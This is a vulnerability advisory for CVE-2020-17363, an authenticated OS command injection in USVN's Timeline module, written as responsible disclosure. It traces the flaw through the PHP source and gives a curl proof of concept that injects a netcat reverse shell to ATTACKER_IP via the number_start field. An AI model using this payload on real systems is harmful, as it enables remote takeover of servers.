Description

User-Friendly USVN is a web interface written in PHP used to configure Subversion repositories.

We could execute code remotely, through an OS command injection inside the Timeline module. It can be used by an authenticated user to execute arbitrary command against the operating system.

Threat

In case where an attacker had access to a USVN repository, he would be able to remotely take control over the system.

Expectation

User inputs have to be filtered and controlled to verify their type, before being used by the application.

Vulnerability records

CVE ID: CVE-2020-17363

Access Vector: Network

Security Risk: Critical

Vulnerability: CWE-78

CVSS Base Score: 9.9

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Details

While analyzing the source code of the application, we noticed a PHP function named lasthundredrequestAction, that is used to print the last hundred commits made to a project:

public function lasthundredrequestAction()
{
  [...]
  $this->_project = $project;
  $this->view->project = $this->_project;
  $SVN = new USVN_SVN($this->_project->name);
  try {
    $number_start = $project = $this->getRequest()->getParam('number_start');
    $number_end = $project = $this->getRequest()->getParam('number_end');
    $this->view->number_start = $number_start;
    $this->view->number_end = $number_end;
    $number_end = $this->convertDate($number_end);
    $number_start = $this->convertDate($number_start);
    $this->view->log = $SVN->log(100, $number_start, $number_end);
    [...]

Two user arguments named number_start and number_end are then given to the convertDate and log functions:

  • The convertDate function splits the given parameters:

    protected function convertDate($number)
    {
      if (strstr($number, '/') != FALSE) {
        $split = explode('/', $number);
        $jour = $split[0];
        $mois = $split[1];
        $annee = $split[2];
        return '{'.$annee.$mois.$jour.'}';
      }
      return $number;
    }
  • The log function prepares the command arguments that will be executed:

    public static function log($repository, $limit = 0, $start = 0, $end = 0)
    {
    $limit = "--limit $limit";
    [...]
    if ($start){
        $revision = "-r $start";
        if ($end){
            $revision.=":$end";
    [...]
    $message = USVN_ConsoleUtils::runCmdCaptureMessageUnsafe(USVN_SVNUtils::svnCommand("log --xml $revision $limit $repository"), $return);

The previous prepared arguments are finally given to the runCmdCaptureMessageUnsafe function that will execute the OS command:

static public function runCmdCaptureMessageUnsafe($command, &$return)
{
    USVN_ConsoleUtils::prepareLang();
    ob_start();
    passthru($command . " 2>&1", $return);
  [...]

So, in order to exploit the vulnerability, we can simply submit the OS command in either the Start or End field:

curl -X $'POST' -H $'Cookie: PHPSESSID=cf4d8ccb1ad95850a627b0eb0732712e' --data-binary $'number_start=01/01/2020$(nc ATTACKER_IP 4444 -c bash)&number_end=&LastHundredRequest=Rechercher' $'http://USVN_URL:8090/project/testProject/LastHundredRequest'

Here is a screenshot of the exploited vulnerability (using curl and netcat):

Exploitation example

Affected versions

  • USVN versions < 1.0.8

Solution

Timeline

  • 2020-05-07 Initial discovery.
  • 2020-05-13 Report to the USVN security team
  • 2020-05-18 USVN acknowledgement stating that the report is under review.
  • 2020-05-18 Command injection fix published (http://www.usvn.info/2020/05/20/usvn-1.0.9).
  • 2020-08-12 Disclosure.

Credits

  • Mickael Karatekin, Sysdream (m.karatekin-at-sysdream-dot-com)